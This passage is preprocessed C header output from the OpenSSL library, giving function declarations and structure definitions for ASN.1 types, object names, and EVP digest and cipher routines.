int UTF8_getc(const unsigned char *str, int len, unsigned long *val);
int UTF8_putc(unsigned char *str, int len, unsigned long value);

ASN1_STRING *ASN1_PRINTABLE_new(void); void ASN1_PRINTABLE_free(ASN1_STRING *a); ASN1_STRING *d2i_ASN1_PRINTABLE(ASN1_STRING **a, const unsigned char **in, long len); int i2d_ASN1_PRINTABLE(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_PRINTABLE_it;

ASN1_STRING *DIRECTORYSTRING_new(void); void DIRECTORYSTRING_free(ASN1_STRING *a); ASN1_STRING *d2i_DIRECTORYSTRING(ASN1_STRING **a, const unsigned char **in, long len); int i2d_DIRECTORYSTRING(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM DIRECTORYSTRING_it;
ASN1_STRING *DISPLAYTEXT_new(void); void DISPLAYTEXT_free(ASN1_STRING *a); ASN1_STRING *d2i_DISPLAYTEXT(ASN1_STRING **a, const unsigned char **in, long len); int i2d_DISPLAYTEXT(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM DISPLAYTEXT_it;
ASN1_PRINTABLESTRING *ASN1_PRINTABLESTRING_new(void); void ASN1_PRINTABLESTRING_free(ASN1_PRINTABLESTRING *a); ASN1_PRINTABLESTRING *d2i_ASN1_PRINTABLESTRING(ASN1_PRINTABLESTRING **a, const unsigned char **in, long len); int i2d_ASN1_PRINTABLESTRING(ASN1_PRINTABLESTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_PRINTABLESTRING_it;
ASN1_T61STRING *ASN1_T61STRING_new(void); void ASN1_T61STRING_free(ASN1_T61STRING *a); ASN1_T61STRING *d2i_ASN1_T61STRING(ASN1_T61STRING **a, const unsigned char **in, long len); int i2d_ASN1_T61STRING(ASN1_T61STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_T61STRING_it;
ASN1_IA5STRING *ASN1_IA5STRING_new(void); void ASN1_IA5STRING_free(ASN1_IA5STRING *a); ASN1_IA5STRING *d2i_ASN1_IA5STRING(ASN1_IA5STRING **a, const unsigned char **in, long len); int i2d_ASN1_IA5STRING(ASN1_IA5STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_IA5STRING_it;
ASN1_GENERALSTRING *ASN1_GENERALSTRING_new(void); void ASN1_GENERALSTRING_free(ASN1_GENERALSTRING *a); ASN1_GENERALSTRING *d2i_ASN1_GENERALSTRING(ASN1_GENERALSTRING **a, const unsigned char **in, long len); int i2d_ASN1_GENERALSTRING(ASN1_GENERALSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_GENERALSTRING_it;
ASN1_UTCTIME *ASN1_UTCTIME_new(void); void ASN1_UTCTIME_free(ASN1_UTCTIME *a); ASN1_UTCTIME *d2i_ASN1_UTCTIME(ASN1_UTCTIME **a, const unsigned char **in, long len); int i2d_ASN1_UTCTIME(ASN1_UTCTIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_UTCTIME_it;
ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_new(void); void ASN1_GENERALIZEDTIME_free(ASN1_GENERALIZEDTIME *a); ASN1_GENERALIZEDTIME *d2i_ASN1_GENERALIZEDTIME(ASN1_GENERALIZEDTIME **a, const unsigned char **in, long len); int i2d_ASN1_GENERALIZEDTIME(ASN1_GENERALIZEDTIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_GENERALIZEDTIME_it;
ASN1_TIME *ASN1_TIME_new(void); void ASN1_TIME_free(ASN1_TIME *a); ASN1_TIME *d2i_ASN1_TIME(ASN1_TIME **a, const unsigned char **in, long len); int i2d_ASN1_TIME(ASN1_TIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_TIME_it;

extern const ASN1_ITEM ASN1_OCTET_STRING_NDEF_it;

ASN1_TIME *ASN1_TIME_set(ASN1_TIME *s,time_t t);
ASN1_TIME *ASN1_TIME_adj(ASN1_TIME *s,time_t t,
    int offset_day, long offset_sec);
int ASN1_TIME_check(ASN1_TIME *t);
ASN1_GENERALIZEDTIME *ASN1_TIME_to_generalizedtime(ASN1_TIME *t, ASN1_GENERALIZEDTIME **out);
int ASN1_TIME_set_string(ASN1_TIME *s, const char *str);

int i2d_ASN1_SET(struct stack_st_OPENSSL_BLOCK *a, unsigned char **pp,
   i2d_of_void *i2d, int ex_tag, int ex_class,
   int is_set);
struct stack_st_OPENSSL_BLOCK *d2i_ASN1_SET(struct stack_st_OPENSSL_BLOCK **a,
         const unsigned char **pp,
         long length, d2i_of_void *d2i,
         void (*free_func)(OPENSSL_BLOCK), int ex_tag,
         int ex_class);


int i2a_ASN1_INTEGER(BIO *bp, ASN1_INTEGER *a);
int a2i_ASN1_INTEGER(BIO *bp,ASN1_INTEGER *bs,char *buf,int size);
int i2a_ASN1_ENUMERATED(BIO *bp, ASN1_ENUMERATED *a);
int a2i_ASN1_ENUMERATED(BIO *bp,ASN1_ENUMERATED *bs,char *buf,int size);
int i2a_ASN1_OBJECT(BIO *bp,ASN1_OBJECT *a);
int a2i_ASN1_STRING(BIO *bp,ASN1_STRING *bs,char *buf,int size);
int i2a_ASN1_STRING(BIO *bp, ASN1_STRING *a, int type);

int i2t_ASN1_OBJECT(char *buf,int buf_len,ASN1_OBJECT *a);

int a2d_ASN1_OBJECT(unsigned char *out,int olen, const char *buf, int num);
ASN1_OBJECT *ASN1_OBJECT_create(int nid, unsigned char *data,int len,
 const char *sn, const char *ln);

int ASN1_INTEGER_set(ASN1_INTEGER *a, long v);
long ASN1_INTEGER_get(const ASN1_INTEGER *a);
ASN1_INTEGER *BN_to_ASN1_INTEGER(const BIGNUM *bn, ASN1_INTEGER *ai);
BIGNUM *ASN1_INTEGER_to_BN(const ASN1_INTEGER *ai,BIGNUM *bn);

int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v);
long ASN1_ENUMERATED_get(ASN1_ENUMERATED *a);
ASN1_ENUMERATED *BN_to_ASN1_ENUMERATED(BIGNUM *bn, ASN1_ENUMERATED *ai);
BIGNUM *ASN1_ENUMERATED_to_BN(ASN1_ENUMERATED *ai,BIGNUM *bn);



int ASN1_PRINTABLE_type(const unsigned char *s, int max);

int i2d_ASN1_bytes(ASN1_STRING *a, unsigned char **pp, int tag, int xclass);
ASN1_STRING *d2i_ASN1_bytes(ASN1_STRING **a, const unsigned char **pp,
 long length, int Ptag, int Pclass);
unsigned long ASN1_tag2bit(int tag);

ASN1_STRING *d2i_ASN1_type_bytes(ASN1_STRING **a,const unsigned char **pp,
  long length,int type);


int asn1_Finish(ASN1_CTX *c);
int asn1_const_Finish(ASN1_const_CTX *c);


int ASN1_get_object(const unsigned char **pp, long *plength, int *ptag,
 int *pclass, long omax);
int ASN1_check_infinite_end(unsigned char **p,long len);
int ASN1_const_check_infinite_end(const unsigned char **p,long len);
void ASN1_put_object(unsigned char **pp, int constructed, int length,
 int tag, int xclass);
int ASN1_put_eoc(unsigned char **pp);
int ASN1_object_size(int constructed, int length, int tag);


void *ASN1_dup(i2d_of_void *i2d, d2i_of_void *d2i, void *x);
# 966 "/usr/include/openssl/asn1.h" 3 4
void *ASN1_item_dup(const ASN1_ITEM *it, void *x);
# 975 "/usr/include/openssl/asn1.h" 3 4
void *ASN1_d2i_fp(void *(*xnew)(void), d2i_of_void *d2i, FILE *in, void **x);







void *ASN1_item_d2i_fp(const ASN1_ITEM *it, FILE *in, void *x);
int ASN1_i2d_fp(i2d_of_void *i2d,FILE *out,void *x);
# 996 "/usr/include/openssl/asn1.h" 3 4
int ASN1_item_i2d_fp(const ASN1_ITEM *it, FILE *out, void *x);
int ASN1_STRING_print_ex_fp(FILE *fp, ASN1_STRING *str, unsigned long flags);


int ASN1_STRING_to_UTF8(unsigned char **out, ASN1_STRING *in);


void *ASN1_d2i_bio(void *(*xnew)(void), d2i_of_void *d2i, BIO *in, void **x);







void *ASN1_item_d2i_bio(const ASN1_ITEM *it, BIO *in, void *x);
int ASN1_i2d_bio(i2d_of_void *i2d,BIO *out, unsigned char *x);
# 1024 "/usr/include/openssl/asn1.h" 3 4
int ASN1_item_i2d_bio(const ASN1_ITEM *it, BIO *out, void *x);
int ASN1_UTCTIME_print(BIO *fp, const ASN1_UTCTIME *a);
int ASN1_GENERALIZEDTIME_print(BIO *fp, const ASN1_GENERALIZEDTIME *a);
int ASN1_TIME_print(BIO *fp, const ASN1_TIME *a);
int ASN1_STRING_print(BIO *bp, const ASN1_STRING *v);
int ASN1_STRING_print_ex(BIO *out, ASN1_STRING *str, unsigned long flags);
int ASN1_bn_print(BIO *bp, const char *number, const BIGNUM *num,
    unsigned char *buf, int off);
int ASN1_parse(BIO *bp,const unsigned char *pp,long len,int indent);
int ASN1_parse_dump(BIO *bp,const unsigned char *pp,long len,int indent,int dump);

const char *ASN1_tag2str(int tag);



NETSCAPE_X509 *NETSCAPE_X509_new(void); void NETSCAPE_X509_free(NETSCAPE_X509 *a); NETSCAPE_X509 *d2i_NETSCAPE_X509(NETSCAPE_X509 **a, const unsigned char **in, long len); int i2d_NETSCAPE_X509(NETSCAPE_X509 *a, unsigned char **out); extern const ASN1_ITEM NETSCAPE_X509_it;

int ASN1_UNIVERSALSTRING_to_string(ASN1_UNIVERSALSTRING *s);

int ASN1_TYPE_set_octetstring(ASN1_TYPE *a,
 unsigned char *data, int len);
int ASN1_TYPE_get_octetstring(ASN1_TYPE *a,
 unsigned char *data, int max_len);
int ASN1_TYPE_set_int_octetstring(ASN1_TYPE *a, long num,
 unsigned char *data, int len);
int ASN1_TYPE_get_int_octetstring(ASN1_TYPE *a,long *num,
 unsigned char *data, int max_len);

struct stack_st_OPENSSL_BLOCK *ASN1_seq_unpack(const unsigned char *buf, int len,
     d2i_of_void *d2i, void (*free_func)(OPENSSL_BLOCK));
unsigned char *ASN1_seq_pack(struct stack_st_OPENSSL_BLOCK *safes, i2d_of_void *i2d,
        unsigned char **buf, int *len );
void *ASN1_unpack_string(ASN1_STRING *oct, d2i_of_void *d2i);
void *ASN1_item_unpack(ASN1_STRING *oct, const ASN1_ITEM *it);
ASN1_STRING *ASN1_pack_string(void *obj, i2d_of_void *i2d,
         ASN1_OCTET_STRING **oct);






ASN1_STRING *ASN1_item_pack(void *obj, const ASN1_ITEM *it, ASN1_OCTET_STRING **oct);

void ASN1_STRING_set_default_mask(unsigned long mask);
int ASN1_STRING_set_default_mask_asc(const char *p);
unsigned long ASN1_STRING_get_default_mask(void);
int ASN1_mbstring_copy(ASN1_STRING **out, const unsigned char *in, int len,
     int inform, unsigned long mask);
int ASN1_mbstring_ncopy(ASN1_STRING **out, const unsigned char *in, int len,
     int inform, unsigned long mask,
     long minsize, long maxsize);

ASN1_STRING *ASN1_STRING_set_by_NID(ASN1_STRING **out,
  const unsigned char *in, int inlen, int inform, int nid);
ASN1_STRING_TABLE *ASN1_STRING_TABLE_get(int nid);
int ASN1_STRING_TABLE_add(int, long, long, unsigned long, unsigned long);
void ASN1_STRING_TABLE_cleanup(void);




ASN1_VALUE *ASN1_item_new(const ASN1_ITEM *it);
void ASN1_item_free(ASN1_VALUE *val, const ASN1_ITEM *it);
ASN1_VALUE * ASN1_item_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it);
int ASN1_item_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it);
int ASN1_item_ndef_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it);

void ASN1_add_oid_module(void);

ASN1_TYPE *ASN1_generate_nconf(char *str, CONF *nconf);
ASN1_TYPE *ASN1_generate_v3(char *str, X509V3_CTX *cnf);
# 1118 "/usr/include/openssl/asn1.h" 3 4
int ASN1_item_print(BIO *out, ASN1_VALUE *ifld, int indent,
    const ASN1_ITEM *it, const ASN1_PCTX *pctx);
ASN1_PCTX *ASN1_PCTX_new(void);
void ASN1_PCTX_free(ASN1_PCTX *p);
unsigned long ASN1_PCTX_get_flags(ASN1_PCTX *p);
void ASN1_PCTX_set_flags(ASN1_PCTX *p, unsigned long flags);
unsigned long ASN1_PCTX_get_nm_flags(ASN1_PCTX *p);
void ASN1_PCTX_set_nm_flags(ASN1_PCTX *p, unsigned long flags);
unsigned long ASN1_PCTX_get_cert_flags(ASN1_PCTX *p);
void ASN1_PCTX_set_cert_flags(ASN1_PCTX *p, unsigned long flags);
unsigned long ASN1_PCTX_get_oid_flags(ASN1_PCTX *p);
void ASN1_PCTX_set_oid_flags(ASN1_PCTX *p, unsigned long flags);
unsigned long ASN1_PCTX_get_str_flags(ASN1_PCTX *p);
void ASN1_PCTX_set_str_flags(ASN1_PCTX *p, unsigned long flags);

BIO_METHOD *BIO_f_asn1(void);

BIO *BIO_new_NDEF(BIO *out, ASN1_VALUE *val, const ASN1_ITEM *it);

int i2d_ASN1_bio_stream(BIO *out, ASN1_VALUE *val, BIO *in, int flags,
    const ASN1_ITEM *it);
int PEM_write_bio_ASN1_stream(BIO *out, ASN1_VALUE *val, BIO *in, int flags,
    const char *hdr,
    const ASN1_ITEM *it);
int SMIME_write_ASN1(BIO *bio, ASN1_VALUE *val, BIO *data, int flags,
    int ctype_nid, int econt_nid,
    struct stack_st_X509_ALGOR *mdalgs,
    const ASN1_ITEM *it);
ASN1_VALUE *SMIME_read_ASN1(BIO *bio, BIO **bcont, const ASN1_ITEM *it);
int SMIME_crlf_copy(BIO *in, BIO *out, int flags);
int SMIME_text(BIO *in, BIO *out);





void ERR_load_ASN1_strings(void);
# 961 "/usr/include/openssl/objects.h" 2 3 4
# 979 "/usr/include/openssl/objects.h" 3 4
typedef struct obj_name_st
 {
 int type;
 int alias;
 const char *name;
 const char *data;
 } OBJ_NAME;




int OBJ_NAME_init(void);
int OBJ_NAME_new_index(unsigned long (*hash_func)(const char *),
         int (*cmp_func)(const char *, const char *),
         void (*free_func)(const char *, int, const char *));
const char *OBJ_NAME_get(const char *name,int type);
int OBJ_NAME_add(const char *name,int type,const char *data);
int OBJ_NAME_remove(const char *name,int type);
void OBJ_NAME_cleanup(int type);
void OBJ_NAME_do_all(int type,void (*fn)(const OBJ_NAME *,void *arg),
       void *arg);
void OBJ_NAME_do_all_sorted(int type,void (*fn)(const OBJ_NAME *,void *arg),
       void *arg);

ASN1_OBJECT * OBJ_dup(const ASN1_OBJECT *o);
ASN1_OBJECT * OBJ_nid2obj(int n);
const char * OBJ_nid2ln(int n);
const char * OBJ_nid2sn(int n);
int OBJ_obj2nid(const ASN1_OBJECT *o);
ASN1_OBJECT * OBJ_txt2obj(const char *s, int no_name);
int OBJ_obj2txt(char *buf, int buf_len, const ASN1_OBJECT *a, int no_name);
int OBJ_txt2nid(const char *s);
int OBJ_ln2nid(const char *s);
int OBJ_sn2nid(const char *s);
int OBJ_cmp(const ASN1_OBJECT *a,const ASN1_OBJECT *b);
const void * OBJ_bsearch_(const void *key,const void *base,int num,int size,
        int (*cmp)(const void *, const void *));
const void * OBJ_bsearch_ex_(const void *key,const void *base,int num,
    int size,
    int (*cmp)(const void *, const void *),
    int flags);
# 1100 "/usr/include/openssl/objects.h" 3 4
int OBJ_new_nid(int num);
int OBJ_add_object(const ASN1_OBJECT *obj);
int OBJ_create(const char *oid,const char *sn,const char *ln);
void OBJ_cleanup(void );
int OBJ_create_objects(BIO *in);

int OBJ_find_sigid_algs(int signid, int *pdig_nid, int *ppkey_nid);
int OBJ_find_sigid_by_algs(int *psignid, int dig_nid, int pkey_nid);
int OBJ_add_sigid(int signid, int dig_id, int pkey_id);
void OBJ_sigid_free(void);

extern int obj_cleanup_defer;
void check_defer(int nid);





void ERR_load_OBJ_strings(void);
# 95 "/usr/include/openssl/evp.h" 2 3 4
# 128 "/usr/include/openssl/evp.h" 3 4
struct evp_pkey_st
 {
 int type;
 int save_type;
 int references;
 const EVP_PKEY_ASN1_METHOD *ameth;
 ENGINE *engine;
 union {
  char *ptr;

  struct rsa_st *rsa;


  struct dsa_st *dsa;


  struct dh_st *dh;




  } pkey;
 int save_parameters;
 struct stack_st_X509_ATTRIBUTE *attributes;
 } ;







struct env_md_st
 {
 int type;
 int pkey_type;
 int md_size;
 unsigned long flags;
 int (*init)(EVP_MD_CTX *ctx);
 int (*update)(EVP_MD_CTX *ctx,const void *data,size_t count);
 int (*final)(EVP_MD_CTX *ctx,unsigned char *md);
 int (*copy)(EVP_MD_CTX *to,const EVP_MD_CTX *from);
 int (*cleanup)(EVP_MD_CTX *ctx);


 int (*sign)(int type, const unsigned char *m, unsigned int m_length,
      unsigned char *sigret, unsigned int *siglen, void *key);
 int (*verify)(int type, const unsigned char *m, unsigned int m_length,
        const unsigned char *sigbuf, unsigned int siglen,
        void *key);
 int required_pkey_type[5];
 int block_size;
 int ctx_size;

 int (*md_ctrl)(EVP_MD_CTX *ctx, int cmd, int p1, void *p2);
 } ;

typedef int evp_sign_method(int type,const unsigned char *m,
       unsigned int m_length,unsigned char *sigret,
       unsigned int *siglen, void *key);
typedef int evp_verify_method(int type,const unsigned char *m,
       unsigned int m_length,const unsigned char *sigbuf,
       unsigned int siglen, void *key);
# 265 "/usr/include/openssl/evp.h" 3 4
struct env_md_ctx_st
 {
 const EVP_MD *digest;
 ENGINE *engine;
 unsigned long flags;
 void *md_data;

 EVP_PKEY_CTX *pctx;

 int (*update)(EVP_MD_CTX *ctx,const void *data,size_t count);
 } ;
# 303 "/usr/include/openssl/evp.h" 3 4
struct evp_cipher_st
 {
 int nid;
 int block_size;
 int key_len;
 int iv_len;
 unsigned long flags;
 int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key,
      const unsigned char *iv, int enc);
 int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out,
    const unsigned char *in, size_t inl);
 int (*cleanup)(EVP_CIPHER_CTX *);
 int ctx_size;
 int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
 int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
 int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr);
 void *app_data;
 } ;
# 405 "/usr/include/openssl/evp.h" 3 4
typedef struct evp_cipher_info_st
 {
 const EVP_CIPHER *cipher;
 unsigned char iv[16];
 } EVP_CIPHER_INFO;

struct evp_cipher_ctx_st
 {
 const EVP_CIPHER *cipher;
 ENGINE *engine;
 int encrypt;
 int buf_len;

 unsigned char oiv[16];
 unsigned char iv[16];
 unsigned char buf[32];
 int num;

 void *app_data;
 int key_len;
 unsigned long flags;
 void *cipher_data;
 int final_used;
 int block_mask;
 unsigned char final[32];
 } ;

typedef struct evp_Encode_Ctx_st
 {
 int num;
 int length;




 unsigned char enc_data[80];
 int line_num;
 int expect_nl;
 } EVP_ENCODE_CTX;


typedef int (EVP_PBE_KEYGEN)(EVP_CIPHER_CTX *ctx, const char *pass, int passlen,
  ASN1_TYPE *param, const EVP_CIPHER *cipher,
                const EVP_MD *md, int en_de);
# 476 "/usr/include/openssl/evp.h" 3 4
int EVP_MD_type(const EVP_MD *md);


int EVP_MD_pkey_type(const EVP_MD *md);
int EVP_MD_size(const EVP_MD *md);
int EVP_MD_block_size(const EVP_MD *md);
unsigned long EVP_MD_flags(const EVP_MD *md);

const EVP_MD *EVP_MD_CTX_md(const EVP_MD_CTX *ctx);




int EVP_CIPHER_nid(const EVP_CIPHER *cipher);

int EVP_CIPHER_block_size(const EVP_CIPHER *cipher);
int EVP_CIPHER_key_length(const EVP_CIPHER *cipher);
int EVP_CIPHER_iv_length(const EVP_CIPHER *cipher);
unsigned long EVP_CIPHER_flags(const EVP_CIPHER *cipher);


const EVP_CIPHER * EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX *ctx);
int EVP_CIPHER_CTX_nid(const EVP_CIPHER_CTX *ctx);
int EVP_CIPHER_CTX_block_size(const EVP_CIPHER_CTX *ctx);
int EVP_CIPHER_CTX_key_length(const EVP_CIPHER_CTX *ctx);
int EVP_CIPHER_CTX_iv_length(const EVP_CIPHER_CTX *ctx);
int EVP_CIPHER_CTX_copy(EVP_CIPHER_CTX *out, const EVP_CIPHER_CTX *in);
void * EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX *ctx);
void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX *ctx, void *data);

unsigned long EVP_CIPHER_CTX_flags(const EVP_CIPHER_CTX *ctx);
# 534 "/usr/include/openssl/evp.h" 3 4
int EVP_Cipher(EVP_CIPHER_CTX *c,
  unsigned char *out,
  const unsigned char *in,
  unsigned int inl);
# 548 "/usr/include/openssl/evp.h" 3 4
void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
int EVP_MD_CTX_cleanup(EVP_MD_CTX *ctx);
EVP_MD_CTX *EVP_MD_CTX_create(void);
void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
int EVP_MD_CTX_copy_ex(EVP_MD_CTX *out,const EVP_MD_CTX *in);
void EVP_MD_CTX_set_flags(EVP_MD_CTX *ctx, int flags);
void EVP_MD_CTX_clear_flags(EVP_MD_CTX *ctx, int flags);
int EVP_MD_CTX_test_flags(const EVP_MD_CTX *ctx,int flags);
int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl);
int EVP_DigestUpdate(EVP_MD_CTX *ctx,const void *d,
    size_t cnt);
int EVP_DigestFinal_ex(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s);
int EVP_Digest(const void *data, size_t count,
  unsigned char *md, unsigned int *size, const EVP_MD *type, ENGINE *impl);

int EVP_MD_CTX_copy(EVP_MD_CTX *out,const EVP_MD_CTX *in);
int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type);
int EVP_DigestFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s);

int EVP_read_pw_string(char *buf,int length,const char *prompt,int verify);
int EVP_read_pw_string_min(char *buf,int minlen,int maxlen,const char *prompt,int verify);
void EVP_set_pw_prompt(const char *prompt);
char * EVP_get_pw_prompt(void);

int EVP_BytesToKey(const EVP_CIPHER *type,const EVP_MD *md,
  const unsigned char *salt, const unsigned char *data,
  int datal, int count, unsigned char *key,unsigned char *iv);

void EVP_CIPHER_CTX_set_flags(EVP_CIPHER_CTX *ctx, int flags);
void EVP_CIPHER_CTX_clear_flags(EVP_CIPHER_CTX *ctx, int flags);
int EVP_CIPHER_CTX_test_flags(const EVP_CIPHER_CTX *ctx,int flags);

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher,
  const unsigned char *key, const unsigned char *iv);
int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl,
  const unsigned char *key, const unsigned char *iv);
int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
  int *outl, const unsigned char *in, int inl);
int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl);
int EVP_EncryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl);

int EVP_DecryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher,
  const unsigned char *key, const unsigned char *iv);
int EVP_DecryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl,
  const unsigned char *key, const unsigned char *iv);
int EVP_DecryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
  int *outl, const unsigned char *in, int inl);
int EVP_DecryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);

int EVP_CipherInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher,
         const unsigned char *key,const unsigned char *iv,
         int enc);
int EVP_CipherInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl,
         const unsigned char *key,const unsigned char *iv,
         int enc);
int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
  int *outl, const unsigned char *in, int inl);
int EVP_CipherFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);

int EVP_SignFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s,
  EVP_PKEY *pkey);

int EVP_VerifyFinal(EVP_MD_CTX *ctx,const unsigned char *sigbuf,
  unsigned int siglen,EVP_PKEY *pkey);

int EVP_DigestSignInit(EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
   const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
int EVP_DigestSignFinal(EVP_MD_CTX *ctx,
   unsigned char *sigret, size_t *siglen);

int EVP_DigestVerifyInit(EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
   const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
int EVP_DigestVerifyFinal(EVP_MD_CTX *ctx,
   unsigned char *sig, size_t siglen);

int EVP_OpenInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *type,
  const unsigned char *ek, int ekl, const unsigned char *iv,
  EVP_PKEY *priv);
int EVP_OpenFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl);

int EVP_SealInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
   unsigned char **ek, int *ekl, unsigned char *iv,
  EVP_PKEY **pubk, int npubk);
int EVP_SealFinal(EVP_CIPHER_CTX *ctx,unsigned char *out,int *outl);

void EVP_EncodeInit(EVP_ENCODE_CTX *ctx);
void EVP_EncodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl,
  const unsigned char *in,int inl);
void EVP_EncodeFinal(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl);
int EVP_EncodeBlock(unsigned char *t, const unsigned char *f, int n);

void EVP_DecodeInit(EVP_ENCODE_CTX *ctx);
int EVP_DecodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl,
  const unsigned char *in, int inl);
int EVP_DecodeFinal(EVP_ENCODE_CTX *ctx, unsigned
  char *out, int *outl);
int EVP_DecodeBlock(unsigned char *t, const unsigned char *f, int n);

void EVP_CIPHER_CTX_init(EVP_CIPHER_CTX *a);
int EVP_CIPHER_CTX_cleanup(EVP_CIPHER_CTX *a);
EVP_CIPHER_CTX *EVP_CIPHER_CTX_new(void);
void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *a);
int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX *x, int keylen);
int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *c, int pad);
int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg, void *ptr);
int EVP_CIPHER_CTX_rand_key(EVP_CIPHER_CTX *ctx, unsigned char *key);


BIO_METHOD *BIO_f_md(void);
BIO_METHOD *BIO_f_base64(void);
BIO_METHOD *BIO_f_cipher(void);
BIO_METHOD *BIO_f_reliable(void);
void BIO_set_cipher(BIO *b,const EVP_CIPHER *c,const unsigned char *k,
  const unsigned char *i, int enc);


const EVP_MD *EVP_md_null(void);




const EVP_MD *EVP_md4(void);


const EVP_MD *EVP_md5(void);


const EVP_MD *EVP_sha(void);
const EVP_MD *EVP_sha1(void);
const EVP_MD *EVP_dss(void);
const EVP_MD *EVP_dss1(void);
const EVP_MD *EVP_ecdsa(void);


const EVP_MD *EVP_sha224(void);
const EVP_MD *EVP_sha256(void);


const EVP_MD *EVP_sha384(void);
const EVP_MD *EVP_sha512(void);


const EVP_MD *EVP_mdc2(void);


const EVP_MD *EVP_ripemd160(void);


const EVP_MD *EVP_whirlpool(void);

const EVP_CIPHER *EVP_enc_null(void);

const EVP_CIPHER *EVP_des_ecb(void);
const EVP_CIPHER *EVP_des_ede(void);
const EVP_CIPHER *EVP_des_ede3(void);
const EVP_CIPHER *EVP_des_ede_ecb(void);
const EVP_CIPHER *EVP_des_ede3_ecb(void);
const EVP_CIPHER *EVP_des_cfb64(void);

const EVP_CIPHER *EVP_des_cfb1(void);
const EVP_CIPHER *EVP_des_cfb8(void);
const EVP_CIPHER *EVP_des_ede_cfb64(void);





const EVP_CIPHER *EVP_des_ede3_cfb64(void);

const EVP_CIPHER *EVP_des_ede3_cfb1(void);
const EVP_CIPHER *EVP_des_ede3_cfb8(void);
const EVP_CIPHER *EVP_des_ofb(void);
const EVP_CIPHER *EVP_des_ede_ofb(void);
const EVP_CIPHER *EVP_des_ede3_ofb(void);
const EVP_CIPHER *EVP_des_cbc(void);
const EVP_CIPHER *EVP_des_ede_cbc(void);
const EVP_CIPHER *EVP_des_ede3_cbc(void);
const EVP_CIPHER *EVP_desx_cbc(void);
# 739 "/usr/include/openssl/evp.h" 3 4
const EVP_CIPHER *EVP_rc4(void);
const EVP_CIPHER *EVP_rc4_40(void);

const EVP_CIPHER *EVP_rc4_hmac_md5(void);



const EVP_CIPHER *EVP_idea_ecb(void);
const EVP_CIPHER *EVP_idea_cfb64(void);

const EVP_CIPHER *EVP_idea_ofb(void);
const EVP_CIPHER *EVP_idea_cbc(void);


const EVP_CIPHER *EVP_rc2_ecb(void);
const EVP_CIPHER *EVP_rc2_cbc(void);
const EVP_CIPHER *EVP_rc2_40_cbc(void);
const EVP_CIPHER *EVP_rc2_64_cbc(void);
const EVP_CIPHER *EVP_rc2_cfb64(void);

const EVP_CIPHER *EVP_rc2_ofb(void);


const EVP_CIPHER *EVP_bf_ecb(void);
const EVP_CIPHER *EVP_bf_cbc(void);
const EVP_CIPHER *EVP_bf_cfb64(void);

const EVP_CIPHER *EVP_bf_ofb(void);


const EVP_CIPHER *EVP_cast5_ecb(void);
const EVP_CIPHER *EVP_cast5_cbc(void);
const EVP_CIPHER *EVP_cast5_cfb64(void);

const EVP_CIPHER *EVP_cast5_ofb(void);
